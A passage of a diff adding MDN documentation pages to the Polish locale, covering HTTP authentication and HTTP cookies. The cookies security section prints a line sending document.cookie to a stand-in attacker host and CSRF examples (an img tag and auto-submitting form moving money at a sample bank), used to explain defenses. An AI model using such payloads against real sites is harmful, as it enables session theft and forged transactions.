will then issue the request including the correct <code>Authorization</code> header.</li> +</ol> + +<p><img alt="A sequence diagram illustrating HTTP messages between a client and a server lifeline." src="https://mdn.mozillademos.org/files/14689/HTTPAuth.png" style="height: 335px; width: 710px;" title="Diagram sekwencji uwierzytelniania HTTP klient-serwer"></p> + +<p>In the case of a "Basic" authentication like shown in the figure, the exchange <strong>must</strong> happen over an HTTPS (TLS) connection to be secure.</p> + +<h3 id="Proxy_authentication">Proxy authentication</h3> + +<p>The same challenge and response mechanism can be used for <em>proxy authentication</em>. As both resource authentication and proxy authentication can coexist, a different set of headers and status codes is needed. In the case of proxies, the challenging status code is {{HTTPStatus("407")}} (Proxy Authentication Required), the {{HTTPHeader("Proxy-Authenticate")}} response header contains at least one challenge applicable to the proxy, and the {{HTTPHeader("Proxy-Authorization")}} request header is used for providing the credentials to the proxy server.</p> + +<h3 id="Access_forbidden">Access forbidden</h3> + +<p>If a (proxy) server receives valid credentials that are inadequate to access a given resource, the server should respond with the {{HTTPStatus("403")}} <code>Forbidden</code> status code. Unlike {{HTTPStatus("401")}} <code>Unauthorized</code> or {{HTTPStatus("407")}} <code>Proxy Authentication Required</code>, authentication is impossible for this user.</p> + +<h3 id="Authentication_of_cross-origin_images">Authentication of cross-origin images</h3> + +<p>A potential security hole recently been fixed by browsers is authentication of cross-site images. From <a href="/en-US/docs/Mozilla/Firefox/Releases/59">Firefox 59</a> onwards, image resources loaded from different origins to the current document are no longer able to trigger HTTP authentication dialogs ({{bug(1423146)}}), preventing user credentials being stolen if attackers were able to embed an arbitrary image into a third-party page.</p> + +<h3 id="Character_encoding_of_HTTP_authentication">Character encoding of HTTP authentication</h3> + +<p>Browsers use <code>utf-8</code> encoding for usernames and passwords.</p> + +<p>Firefox once used <code>ISO-8859-1</code>, but changed to <code>utf-8</code> for parity with other browsers and to avoid potential problems as described in {{bug(1419658)}}.</p> + +<h3 id="WWW-Authenticate_and_Proxy-Authenticate_headers">WWW-Authenticate and Proxy-Authenticate headers</h3> + +<p>The {{HTTPHeader("WWW-Authenticate")}} and {{HTTPHeader("Proxy-Authenticate")}} response headers define the authentication method that should be used to gain access to a resource. They must specify which authentication scheme is used, so that the client that wishes to authorize knows how to provide the credentials.</p> + +<p>The syntax for these headers is the following:</p> + +<pre class="syntaxbox notranslate">WWW-Authenticate: <type> realm=<realm> +Proxy-Authenticate: <type> realm=<realm> +</pre> + +<p>Here, <code><type></code> is the authentication scheme ("Basic" is the most common scheme and <a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">introduced below</a>). The <em>realm</em> is used to describe the protected area or to indicate the scope of protection. This could be a message like "Access to the staging site" or similar, so that the user knows to which space they are trying to get access to.</p> + +<h3 id="Authorization_and_Proxy-Authorization_headers">Authorization and Proxy-Authorization headers</h3> + +<p>The {{HTTPHeader("Authorization")}} and {{HTTPHeader("Proxy-Authorization")}} request headers contain the credentials to authenticate a user agent with a (proxy) server. Here, the <code><type></code> is needed again followed by the credentials, which can be encoded or encrypted depending on which authentication scheme is used.</p> + +<pre class="syntaxbox notranslate">Authorization: <type> <credentials> +Proxy-Authorization: <type> <credentials> +</pre> + +<h3 id="Authentication_schemes">Authentication schemes</h3> + +<p>The general HTTP authentication framework is used by several authentication schemes. Schemes can differ in security strength and in their availability in client or server software.</p> + +<p>The most common authentication scheme is the "Basic" authentication scheme, which is introduced in more detail below. IANA maintains a <a class="external external-icon" href="https://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">list of authentication schemes</a>, but there are other schemes offered by host services, such as Amazon AWS. Common authentication schemes include:</p> + +<dl> + <dt><strong>Basic</strong></dt> + <dd>See {{rfc(7617)}}, base64-encoded credentials. More information below.</dd> + <dt><strong>Bearer</strong></dt> + <dd>See {{rfc(6750)}}, bearer tokens to access OAuth 2.0-protected resources</dd> + <dt><strong>Digest</strong></dt> + <dd>See {{rfc(7616)}}, only md5 hashing is supported in Firefox, see {{bug(472823)}} for SHA encryption support</dd> + <dt><strong>HOBA</strong></dt> + <dd>See {{rfc(7486)}}, Section 3, <strong>H</strong>TTP <strong>O</strong>rigin-<strong>B</strong>ound <strong>A</strong>uthentication, digital-signature-based</dd> + <dt><strong>Mutual</strong></dt> + <dd>See {{rfc(8120)}}</dd> + <dt><strong>AWS4-HMAC-SHA256</strong></dt> + <dd>See <a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">AWS docs</a></dd> +</dl> + +<h2 id="Basic_authentication_scheme">Basic authentication scheme</h2> + +<p>The "Basic" HTTP authentication scheme is defined in {{rfc(7617)}}, which transmits credentials as user ID/password pairs, encoded using base64.</p> + +<h3 id="Security_of_basic_authentication">Security of basic authentication</h3> + +<p>As the user ID and password are passed over the network as clear text (it is base64 encoded, but base64 is a reversible encoding), the basic authentication scheme <strong>is not secure</strong>. HTTPS/TLS should be used with basic authentication. Without these additional security enhancements, basic authentication should not be used to protect sensitive or valuable information.</p> + +<h3 id="Restricting_access_with_Apache_and_basic_authentication">Restricting access with Apache and basic authentication</h3> + +<p>To password-protect a directory on an Apache server, you will need a <code>.htaccess</code> and a <code>.htpasswd</code> file.</p> + +<p>The <code>.htaccess</code> file typically looks like this:</p> + +<pre class="notranslate">AuthType Basic +AuthName "Access to the staging site" +AuthUserFile /path/to/.htpasswd +Require valid-user</pre> + +<p>The <code>.htaccess</code> file references a <code>.htpasswd</code> file in which each line consists of a username and a password separated by a colon (<code>:</code>). You cannot see the actual passwords as they are <a href="https://httpd.apache.org/docs/2.4/misc/password_encryptions.html">hashed</a> (using MD5-based hashing, in this case). Note that you can name your <code>.htpasswd</code> file differently if you like, but keep in mind this file shouldn't be accessible to anyone. (Apache is usually configured to prevent access to <code>.ht*</code> files).</p> + +<pre class="notranslate">aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz. +user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/ +</pre> + +<h3 id="Restricting_access_with_nginx_and_basic_authentication">Restricting access with nginx and basic authentication</h3> + +<p>For nginx, you will need to specify a location that you are going to protect and the <code>auth_basic</code> directive that provides the name to the password-protected area. The <code>auth_basic_user_file</code> directive then points to a <code>.htpasswd</code> file containing the encrypted user credentials, just like in the Apache example above.</p> + +<pre class="notranslate">location /status { + auth_basic "Access to the staging site"; + auth_basic_user_file /etc/apache2/.htpasswd; +}</pre> + +<h3 id="Access_using_credentials_in_the_URL">Access using credentials in the URL</h3> + +<p>Many clients also let you avoid the login prompt by using an encoded URL containing the username and the password like this:</p> + +<pre class="example-bad notranslate">https://username:password@www.example.com/</pre> + +<p><strong>The use of these URLs is deprecated</strong>. In Chrome, the <code>username:password@</code> part in URLs is even <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=82250#c7">stripped out</a> for security reasons. In Firefox, it is checked if the site actually requires authentication and if not, Firefox will warn the user with a prompt "You are about to log in to the site “www.example.com” with the username “username”, but the website does not require authentication. This may be an attempt to trick you."</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("WWW-Authenticate")}}</li> + <li>{{HTTPHeader("Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authenticate")}}</li> + <li><font><font>{{HTTPStatus ("401")}}, {{HTTPStatus ("403")}}, {{HTTPStatus ("407")}}</font></font></li> +</ul> diff --git a/files/pl/web/http/ciasteczka/index.html b/files/pl/web/http/ciasteczka/index.html new file mode 100644 index 0000000000..d8720ac4c4 --- /dev/null +++ b/files/pl/web/http/ciasteczka/index.html @@ -0,0 +1,263 @@ +--- +title: Ciasteczka HTTP +slug: Web/HTTP/Ciasteczka +tags: + - aplikacje internetowe + - ciasteczka + - ciasteczka artykuł + - dane + - pamięć przeglądarki + - pliki cookie + - protokoły + - prywatność + - przeglądarka + - serwer + - śledzenie + - żądania HTTP +translation_of: Web/HTTP/Cookies +--- +<p>{{HTTPSidebar}}</p> + +<p class="summary"><span class="seoSummary">Ciasteczka HTTP (pliki cookie) to niewielkie obiekty danych, które serwer wysyła do przeglądarki internetowej użytkownika. Przeglądarka może je przechowywać i wysyłać ponownie do tego samego serwera wraz z kolejnym żądaniem.</span> Przeważnie są używane do określenia czy dwa żądania zostały nadane z tej samej przeglądarki, np. aby użytkownik pozostał zalogowany. Są sposobem na zapamiętanie informacji o stanie sesji pomimo bezstanowej natury protokołu HTTP.</p> + +<p>Główne zastosowania ciasteczek:</p> + +<dl> + <dt>Zarządzanie sesją</dt> + <dd>Loginy, koszyki sklepów internetowych, rezultaty w grach i wszystko inne o czym powinien pamiętać serwer</dd> + <dt>Personalizacja</dt> + <dd>Preferencje użytkownika, motywy i inne ustawienia</dd> + <dt>Śledzenie</dt> + <dd>Zapisywanie i analiza zachowania użytkownika</dd> +</dl> + +<p>Ciasteczka wykorzystywano kiedyś do przechowywania wszelkiego rodzaju plików po stronie klienta. Było to uzasadnione w czasach, gdy brakowało alternatywnych rozwiązań. Aktualnie zaleca się stosowanie nowoczesnych API do zapamiętywania danych. Ciasteczka są wysyłane wraz z każdym żądaniem, więc mogą spowodować pogorszenie wydajności (szczególnie dla połączeń mobilnych). Nowoczesne API do przechowywania plików to <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> (<code>localStorage</code> i <code>sessionStorage</code>) oraz <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>.</p> + +<div class="note"> +<p>Aby podejrzeć przechowywane ciasteczka (lub inne pamięci, z których mogą korzystać strony internetowe) należy wejść w zakładkę <a href="/pl/docs/Narzędzia/Storage_Inspector">Dane</a> w narzędziach dla programistów dostępnych w przeglądarce.</p> +</div> + +<h2 id="Tworzenie_ciasteczek">Tworzenie ciasteczek</h2> + +<p>Otrzymując żądanie HTTP serwer może wysłać wraz z odpowiedzią nagłówek <a href="/pl/docs/Web/HTTP/Headers/Set-Cookie">Set-Cookie</a>. Ciasteczko jest zazwyczaj przechowywane przez przeglądarkę, by następnie zostać wysłane wraz z żądaniami do tego samego serwera jako wartość nagłówka <a href="/pl/docs/Web/HTTP/Headers/Cookie">Cookie</a>. Istnieje opcja ustawienia daty wygaśnięcia lub czasu trwania, po których ciasteczko nie będzie wysyłane. Dodatkowo można ustawić ograniczenia dla konkretnej domeny lub ścieżki, aby dla wartości innych niż podane nie przesyłać ciasteczka.</p> + +<h3 id="Nagłówki_Set-Cookie_i_Cookie">Nagłówki <code>Set-Cookie</code> i <code>Cookie</code></h3> + +<p>Nagłówek <a href="/pl/docs/Web/HTTP/Headers/Set-Cookie">Set-Cookie</a> jest zawarty w odpowiedzi serwera na żądanie HTTP agenta użytkownika (np. przeglądarki). Przykładowo:</p> + +<pre class="syntaxbox">Set-Cookie: <nazwa-ciasteczka>=<wartość-ciasteczka></pre> + +<p>Ten nagłówek nadany przez serwer informuje klienta, że należy zapisać ciasteczko.</p> + +<div class="note"><strong>Uwaga:</strong> W odnośnikach znajdują się przykłady użycia nagłówka <code>Set-Cookie</code> w różnych aplikacjach uruchamianych po stronie serwera: + +<ul> + <li><a href="https://secure.php.net/manual/en/function.setcookie.php">PHP</a></li> + <li><a href="https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value">Node.JS</a></li> + <li><a href="https://docs.python.org/3/library/http.cookies.html">Python</a></li> + <li><a href="https://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a></li> +</ul> +</div> + +<pre>HTTP/2.0 200 OK +Content-type: text/html +Set-Cookie: yummy_cookie=choco +Set-Cookie: tasty_cookie=strawberry + +[page content]</pre> + +<p id="The_client_sends_back_to_the_server_its_cookies_previously_stored">Teraz z każdym kolejnym żądaniem do serwera, używając nagłówka <a href="/pl/docs/Web/HTTP/Headers/Cookie">Cookie</a>, przeglądarka będzie wysyłać także wszystkie przechowywane ciasteczka.</p> + +<pre>GET /sample_page.html HTTP/2.0 +Host: www.example.org +Cookie: yummy_cookie=choco; tasty_cookie=strawberry</pre> + +<h3 id="Ciasteczka_sesyjne">Ciasteczka sesyjne</h3> + +<p>Ciasteczko stworzone w poprzedniej sekcji jest <em>ciasteczkiem sesyjnym</em>: zostaje usunięte wraz z wyłączeniem klienta, ponieważ nie użyto dyrektyw <code>Expires</code> lub <code>Max-Age</code>. Jednakże przeglądarki mogą użyć mechanizmu <strong>przywracania sesji</strong>, który zmienia większość ciasteczek sesyjnych w trwałe, tak jakby przeglądarka nie została nigdy zamknięta.</p> + +<h3 id="Ciasteczka_trwałe">Ciasteczka trwałe</h3> + +<p>Zamiast wygasnąć po wyłączeniu klienta, <em>trwałe ciasteczka</em> wygasają w konkretnym terminie (<code>Expires</code>) lub po określonym czasie (<code>Max-Age</code>).</p> + +<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre> + +<div class="note"> +<p><strong>Uwaga</strong>: Ustawiając termin wygaśnięcia, czas i data są określane w odniesieniu do klienta, który zapisuje ciasteczko, nie w odniesieniu do serwera.</p> +</div> + +<h3 id="Ciasteczka_Secure_i_HttpOnly"><a name="ciasteczka_secure_i_httponly">Ciasteczka <code>Secure</code> i <code>HttpOnly</code></a></h3> + +<p>Bezpieczne ciasteczko może być wysłane do serwera tylko i wyłącznie zaszyfrowanym żądaniem protokołu HTTPS. Nawet używając dyrektywy <code>Secure</code>, poufne dane <em>nigdy</em> nie powinny być przechowywane w ciasteczkach, ponieważ nie są one bezpieczne, a ta flaga nie może zaoferować dostatecznej ochrony. Zaczynając od przeglądarek Chrome 52 i Firefox 52, niepewne strony (<code>http:</code>) nie mają możliwości ustawiania ciasteczek z dyrektywą <code>Secure</code>.</p> + +<p>Aby ograniczać możliwości przeprowadzenia ataku cross-site scripting ({{Glossary("XSS")}}), ciasteczka <code>HttpOnly</code> są niedostępnie dla JavaScript'owego {{domxref("Document.cookie")}} API; można je tylko wysyłać do serwera. Przykładowo, ciasteczka utrzymujące sesję po stronie serwera nie muszą być dostępne dla JavaScript'u, więc flaga <code>HttpOnly</code> powinna być ustawiona.</p> + +<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</pre> + +<h3 id="Zakres_ciasteczek">Zakres ciasteczek</h3> + +<p>Dyrektywy <code>Domain</code> i <code>Path</code> definiują <em>zakres</em> ciasteczka: do jakich adresów URL ciasteczka powinny być wysyłane.</p> + +<p><code>Domain</code> określa dozwolone hosty sieciowe. Jeżeli nie jest ustawiona to domyślną wartością jest <a href="/en-US/docs/Web/API/Document/location">host aktualnej lokalizacji dokumentu</a>, <strong>z pominięciem subdomen.</strong> Jeżeli dyrektywa <code>Domain</code> <em>jest</em> określona to subdomeny zawsze są uwzględnione.</p> + +<p>Przykładowo, jeżeli ustawiono <code>Domain=mozilla.org</code>, to ciasteczka są uwzględnione także dla subdomen takich jak <code>developer.mozilla.org</code>.</p> + +<p><code>Path</code> oznacza, że podana ścieżka URL musi być zawarta w żądanym adresie URL aby wysłać nagłówek <code>Cookie</code>. Znak %x2F ("/") jest uznawany za separator katalogu, a wszystkie podkatalogi także spełniają warunek.</p> + +<p>Jeżeli ustawiono <code>Path=/docs</code>, to następujące przykładowe ścieżki będą pasować:</p> + +<ul> + <li><code>/docs</code></li> + <li><code>/docs/Web/</code></li> + <li><code>/docs/Web/HTTP</code></li> +</ul> + +<h3 id="Ciasteczka_SameSite_experimental_inline"><a id="ciasteczka_samesite" name="ciasteczka_samesite"></a>Ciasteczka <code>SameSite</code> {{experimental_inline}}</h3> + +<p>Ciasteczka <code>SameSite</code> pozwalają serwerom wymagać, aby nie były one przesyłane żądaniami pomiędzy stronami internetowymi (gdzie {{Glossary("Site")}} jest zdefiniowane jako rejestrowalna domena), co zapewnia pewną ochronę od ataków <em>Cross-Site Request Forgery</em> ({{Glossary("CSRF")}}).</p> + +<p>Ciasteczka <code>SameSite</code> są relatywnie nowe, ale <a href="/en-US/docs/Web/HTTP/headers/Set-Cookie#Browser_compatibility">wspierane przez wszystkie główne przeglądarki internetowe</a>.</p> + +<p>Przykładowo:</p> + +<pre>Set-Cookie: nazwa=wartość; SameSite=Strict</pre> + +<p>Atrybut <code>SameSite</code> może przyjmować jedną z trzech wartości (<span class="tlid-translation translation" lang="pl"><span title="">bez rozróżniania wielkości liter</span></span>):</p> + +<dl> + <dt><code>None</code></dt> + <dd>Przeglądarka będzie wysyłać ciasteczka zarówno żądaniami pomiędzy stronami (<em>cross-site</em>) jak i żądaniami odnoszącymi się do aktualnej strony (<em>same-site</em>).</dd> + <dt><code>Strict</code></dt> + <dd>Przeglądarka będzie wysyłać ciasteczka tylko żądaniami <em>same-site</em> (pochodzącymi z witryny, która ustawia ciasteczko). Jeżeli żądanie nie pochodzi z adresu URL aktualnej lokacji to żadne z ciasteczek oznaczonych atrybutem <code>Strict</code> nie zostanie przesłane.</dd> + <dt><code>Lax</code></dt> + <dd>Ciasteczka <code>SameSite</code> są wstrzymywane przy żądaniach, które wywołują ładowanie obrazów lub ramek z innych stron. Będą jednak wysłane, gdy użytkownik przechodzi do adresu URL z zewnętrznej strony, np. poprzez kliknięcie w link.</dd> +</dl> + +<div class="blockIndicator note"> +<p>Przeglądarki decydują się na <a href="https://www.chromestatus.com/feature/5088147346030592">domyślne ustawianie <code>SameSite=Lax</code></a>. Jeżeli istnieje potrzeba wysyła ciasteczka pomiędzy różnymi źródłami (<em>cross-origin</em>), należy zrezygnować z zabezpieczenia SameSite używając wartości <code>None</code> dla tej dyrektywy. Wymaga ona obecności atrybutu <a href="#ciasteczka_secure_i_httponly"><code>Secure</code></a>.</p> +</div> + +<h3 id="Prefiksy_ciasteczek_experimental_inline">Prefiksy ciasteczek {{experimental_inline}}</h3> + +<p>Konstrukcja mechanizmu działania ciasteczek uniemożliwia serwerowi otrzymanie potwierdzenia ustawienia ciasteczka dla bezpiecznego źródła, a nawet dowiedzenia się <em>gdzie</em> ciasteczko zostało pierwotnie ustawione. Każda subdomena jak na przykład <code>application.example.com</code> może ustawić ciasteczko, które będzie wysyłane wraz z żądaniami do <code>example.com</code> lub do innych subdomen dzięki ustawieniu atrybutu <em>Domain</em>:</p> + +<pre class="syntaxbox">Set-Cookie: CSRF=e8b667; Secure; Domain=example.com</pre> + +<p>Jeżeli podatna aplikacja jest dostępna na subdomenie to ten mechanizm może być wykorzystany w ataku <em>session fixation.</em> Gdy użytkownik odwiedza stronę na głównej domenie (lub innej subdomenie), aplikacja może zaufać istniejącej wartości wysłanej w ciasteczku użytkownika. To może pozwolić atakującemu ominąć zabezpieczenie przed CSRF lub przejąć sesję po zalogowaniu się użytkownika.</p> + +<p>Alternatywnie, jeżeli główna domena nie używa {{Glossary("HSTS")}} z ustawioną opcją <code>includeSubdomains</code>, to użytkownikowi podlegającemu właśnie atakowi MitM (być może podłączonemu do otwartej sieci Wi-Fi) może zostać zwrócona odpowiedź na żądanie wraz z ustawionym nagłówkiem <a href="/pl/docs/Web/HTTP/Headers/Set-Cookie">Set-Cookie</a> z nieistniejącej subdomeny. Wynik końcowy byłby taki sam, ponieważ przeglądarka przechowywałaby nielegalny plik cookie i wysyłałaby go na wszystkie inne strony w domenie <code>example.com</code>.</p> + +<p>Aby ograniczyć możliwości przeprowadzenia ataku <em>session fixation</em> <span class="tlid-translation translation" lang="pl"><span title="">powinno się przede wszystkim ponownie generować wartości ciasteczka sesyjnego gdy użytkownik się uwierzytelnia (nawet jeśli ciasteczko już istnieje) i dokonywać powiązania tokena CSRF z użytkownikiem.</span> <span title="">W ramach silniejszej obrony możliwe jest użycie <em>prefiksów ciasteczek</em> w celu potwierdzenia pewnych faktów na temat samych ciasteczek.</span> <span title="">Dostępne są dwa prefiksy:</span></span></p> + +<dl> + <dt><code>__Host-</code></dt> + <dd>Jeżeli ciasteczko posiada ten prefiks, to będzie ono zaakceptowane tylko poprzez dyrektywę <a href="/pl/docs/Web/HTTP/Headers/Set-Cookie">Set-Cookie</a> oznaczoną jako <code>Secure</code>, wysłaną z bezpiecznego źródła (HTTPS), <em>nie</em> posiadającą atrybutu <code>Domain</code> i mającą atrybut <code>Path</code> o wartości <code>/</code>. Tym sposobem ciasteczka mogą być widoczne jako "domain-locked".</dd> + <dt><code>__Secure-</code></dt> + <dd>Jeżeli ciasteczko posiada ten prefiks, to będzie ono zaakceptowane tylko poprzez dyrektywę <a href="/pl/docs/Web/HTTP/Headers/Set-Cookie">Set-Cookie</a> oznaczoną jako <code>Secure</code> i wysłaną z bezpiecznego źródła (HTTPS). Jest to słabsze zabezpieczenie niż prefiks <code>__Host-</code>.</dd> +</dl> + +<p>Ciasteczka niespełniające kryteriów zostaną odrzucone przez przeglądarkę. Zapewnia to, że gdyby subdomena spróbowała stworzyć takie ciasteczko, to zostanie ono ograniczone do subdomeny lub całkowicie zignorowane. Podczas określania, czy użytkownik jest uwierzytelniony lub czy token CSRF jest poprawny, serwer aplikacji sprawdza tylko ciasteczka o określonych nazwach. Dzięki temu mechanizm prefiksów efektywnie działa jako obrona przed <em>session fixation.</em></p> + +<div class="note"> +<p>Aplikacja będąca serwerem <em>musi</em> sprawdzić ciasteczko o pełnej nazwie uwzględniającej prefiks. Dlatego agent użytkownika aplikacji <em>nie</em> wytnie prefiksu przed wysłaniem ciasteczka w nagłówku {{HTTPHeader("Cookie")}}.</p> +</div> + +<p>Aby uzyskać więcej informacji o prefiksach ciasteczek i aktualnym stanie wspieralności tego rozwiązania przez przeglądarki odwiedź <a href="/en-US/docs/Web/HTTP/Headers/Set-Cookie#Cookie_prefixes">sekcję Set-Cookie</a>.</p> + +<h3 id="Dostęp_JavaScript_za_pomocą_Document.cookie">Dostęp JavaScript za pomocą <code>Document.cookie</code></h3> + +<p>Nowe ciasteczka mogą być tworzone z użyciem JavaScriptu poprzez użycie właściwości {{domxref("Document.cookie")}}, a jeżeli flaga <code>HttpOnly</code> nie jest ustawiona, to także istniejące ciasteczka są dostępne.</p> + +<pre class="brush: js">document.cookie = "yummy_cookie=choco"; +document.cookie = "tasty_cookie=strawberry"; +console.log(document.cookie); +// logs "yummy_cookie=choco; tasty_cookie=strawberry"</pre> + +<p>Ciasteczka stworzone z użyciem JavaScriptu nie mogą zawierać flagi <code>HttpOnly</code>.</p> + +<p>Ciasteczka dostępne dla JavaScriptu są narażone na cyberataki. Więcej szczegółów znajduje się w poniższej sekcji<a href="/en-US/docs/Web/HTTP/Cookies#Security">.</a></p> + +<h2 id="Bezpieczeństwo">Bezpieczeństwo</h2> + +<div class="note"> +<p>Należy zawsze pamiętać, że informacje przechowywane w ciasteczkach będą widoczne i mogą zostać zmodyfikowane przez użytkownika. W zależności od aplikacji, pożądane może być użycie nieprzejrzystego identyfikatora sprawdzanego po stronie serwera lub rozważenie alternatywnych mechanizmów uwierzytelniania/poufności takich jak JSON Web Tokens.</p> +</div> + +<h3 id="Przejmowanie_sesji_i_XSS">Przejmowanie sesji i XSS</h3> + +<p>Ciasteczka są często używane w aplikacjach webowych do identyfikowania użytkownika i jego uwierzytelnionej sesji, więc kradzież ciasteczka może prowadzić do jej przejęcia. Powszechnymi sposobami kradzieży ciasteczek są inżynieria społeczna i wykorzystywanie podatności XSS w aplikacjach.</p> + +<pre class="brush: js">(new Image()).src = "http://www.evil-domain.com/steal-cookie?cookie=" + document.cookie;</pre> + +<p>Atrybut <code>HttpOnly</code> może pomóc uniknąć tego ataku poprzez zablokowanie JavaScriptowi dostępu do wartości ciasteczka. Sposobem na złagodzenie skutków takiego ataku jest wdrożenie surowej <a href="/en-US/docs/Web/HTTP/CSP">polityki bezpieczeństwa treści (<em>CSP</em>)</a>.</p> + +<h3 id="Cross-site_request_forgery_CSRF">Cross-site request forgery (CSRF)</h3> + +<p>Na stronie <a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">Wikipedii</a> znajduje się dobry przykład {{Glossary("CSRF")}}. W tej sytuacji ktoś załączył element "img", który tak na prawdę nie jest obrazem (np. na niefiltrowanym czacie lub forum), a zamiast tego jest żądaniem do serwera banku użytkownika mającym na celu wypłatę pieniędzy:</p> + +<pre class="brush: html"><img src="https://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"></pre> + +<p>Jeżeli jesteś aktualnie zalogowany na swoim koncie bankowym i odpowiadające ciasteczka są dalej aktualne (i nie ma żadnej dodatkowej walidacji), to próba załadowania "obrazka" zakończy się przelewem pieniędzy. Dla punktów końcowych wymagających żądania POST jest możliwe aby programowo wykonać potwierdzenie formularza (być może zawartego w niewidzialnym elemencie <code><iframe></code>) gdy strona jest ładowana:</p> + +<pre class="brush: html"><form action="https://bank.example.com/withdraw" method="POST"> + <input type="hidden" name="account" value="bob"> + <input type="hidden" name="amount" value="1000000"> + <input type="hidden" name="for" value="mallory"> +</form> +<script>window.addEventListener('DOMContentLoaded', (e) => { document.querySelector('form').submit(); }</script> +</pre> + +<p>Jest kilka technik, których stosowanie powinno być używane do zapobiegania CSRF:</p> + +<ul> + <li>punkty końcowe GET powinny być idempotentne — akcje, które wprowadzają <em>zmianę </em>i nie mają na celu zwykłego pobrania danych powinny być wykonywane żądaniem POST (lub inną metodą HTTP). Punkty końcowe POST nie powinny dodatkowo obsługiwać żądań GET z parametrami query.</li> + <li>Token CSRF powinien być zawarty w elementach <code><form></code> poprzez użycie niewidzialnego pola wejściowego <code><input type="hidden"></code>. Powinien on być unikalny dla każdego użytkownika i przechowywany (np. w ciasteczku) w sposób pozwalający serwerowi podejrzeć oczekiwną wartość w momencie odebrania żądania HTTP. Dla wszystkich nie-GET'owych żądań potencjalnie mogących wykonać jakąś akcję w systemie, ten token powinien być porównany z jego zapisaną wartością. W przypadku niezgodności należy odrzucić takie żądanie. + <ul> + <li>Ta metoda zabezpieczania polega na tym, że atakujący nie jest w stanie przewidzieć jak wygląda otrzymany przez użytkownika token CSRF. Dodatkowo token powinien być generowany ponownie po każdym zalogowaniu się użytkownika.</li> + </ul> + </li> + <li>Ciasteczka używane do wykonywania poufnych akcji (takie jak ciasteczka sesyjne) powinny mieć krótki czas życia i atrybut <code>SameSite</code> ustawiony na <code>Strict</code> lub <code>Lax</code>. (zobacz <a href="#ciasteczka_samesite">ciasteczka SameSite</a>). W przeglądarkach wspierających tę funkcjonalność, efektem będzie upewnienie się, że ciasteczko sesyjne <em>nie</em><em> </em>zostanie wysłane w żądaniach do innych stron, więc żądania te nie będą przez serwer aplikacji uwierzytelnione.</li> + <li>Wdrożenie zarówno tokenów CSRF jak i ciasteczek <code>SameSite</code> zapewnia ochronę wszystkich przeglądarek nawet w przypadkach gdy ochrona mechanizmu <code>SameSite</code> nie może pomóc (np. gdy źródłem ataków jest oddzielna subdomena).</li> + <li>Aby poznać inne metody zabezpieczające przed CSRF sprawdź <a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html">ściągawkę przygotowaną przez organizację OWASP</a>.</li> +</ul> + +<h2 id="Śledzenie_i_prywatność">Śledzenie i prywatność</h2> + +<h3 id="Ciasteczka_podmiotów_zewnętrznych_third-party_cookies">Ciasteczka podmiotów zewnętrznych (<em>third-party cookies</em>)</h3> + +<p>Ciasteczka zawsze mają przyporządkowaną jakąś domenę. Jeżeli jest ona tą samą domeną co domena aktualnie odwiedzanej strony to nazywamy ciasteczko <em>własnym</em> (<em>first-party cookie</em>). W innym przypadku mówimy o ciasteczku <em>zewnętrznego podmiotu/witryny</em>. Podczas gdy ciasteczka własne są wysyłane tylko do serwerów, które je ustawiły, strona internetowa może zawierać obrazki lub inne komponenty przechowywane na serwerach w innych domenach (np. banery reklamowe). Takie ciasteczka są głównie używane do reklam i śledzenia. Dobrym przykładem są <a href="https://www.google.com/policies/technologies/types/">ciasteczka używane przez Google</a>. Większość przeglądarek domyślnie zezwala na działanie ciasteczek zewnętrznych podmiotów, ale istnieją dodatki blokujące je (np. <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/">Privacy Badger</a> stworzony przez <a href="https://www.eff.org/">EFF</a>).</p> + +<p>Jeżeli jako serwis internetowy nie ujawniasz faktu używania ciasteczek zewnętrznych podmiotów to zaufanie użytkowników może zostać nadszarpnięte, gdy się o tym dowiedzą. Wyraźna informacja (np. w polityce prywatności) zazwyczaj eliminuje wszelkie negatywne skutki ich obecności. Niektóre kraje mają także przepisy dotyczące ciasteczek. Zobacz na przykładzie <a href="https://wikimediafoundation.org/wiki/Cookie_statement">oświadczenia fundacji Wikimedia</a> o plikach cookie.</p> + +<h3 id="Do-Not-Track">Do-Not-Track</h3> + +<p>Nie ma prawnych lub technologicznych wymagań używania nagłówka <a href="/en-US/docs/Web/HTTP/Headers/DNT">DNT</a>, ale może on być użyty aby zasygnalizować, że aplikacja webowa powinna wyłączyć mechanizm śledzenia lub śledzenia poszczególnych użytkowników przez jednego użytkownika. Zobacz <a href="/en-US/docs/Web/HTTP/Headers/DNT">DNT</a> aby uzyskać więcej informacji.</p> + +<h3 id="Dyrektywa_UE_ws._plików_cookie">Dyrektywa UE ws. plików cookie</h3> + +<p>Wymagania dla ciasteczek w Unii Europejskiej są zdefiniowane w <a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">dyrektywie 2009/136/EC</a> wydanej przez Parlament Europejski, która weszła w życie 25 maja 2011. Dyrektywa sama w sobie nie jest prawem, ale wymaganiem wprowadzenia prawa spełniającego jej wymagania przez państwa członkowskie. Prawo może różnić się w zależności od państwa.</p> + +<p>W skrócie, dyrektywa wymusza na zarządzających stronami internetowymi uzyskanie świadomej zgody od użytkowników na przechowywanie i pobieranie jakiejkolwiek informacji dostępnej na komputerze, komórce czy innym urządzeniu, z którego korzystają. Od wprowadzenia nowego prawa wiele stron dodało banery informujące 